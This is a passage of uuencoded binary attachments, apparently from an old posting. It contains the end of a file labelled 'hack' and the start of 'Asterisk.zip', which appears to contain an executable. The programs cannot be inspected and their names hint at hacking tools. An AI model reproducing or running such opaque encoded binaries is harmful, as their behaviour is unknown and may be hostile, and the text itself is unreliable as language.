MA_N'TQ#"H4=8K,HO4;A"A7?",#$DMX3\P_TA\2M&_&Y2[2TV[MI><NHK;-W;
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
M1VI?6V<J\@)%]G'R/SG9HY,#.OE]G?POG9S/R2LX>9^!ZN:8+DAC.%(Z(
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
83TU02P4&``````$``0`V````Z"X`````
`
end
----------------hack.uue-------
--------------asterisk.uue-------
begin 666 Asterisk.zip
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
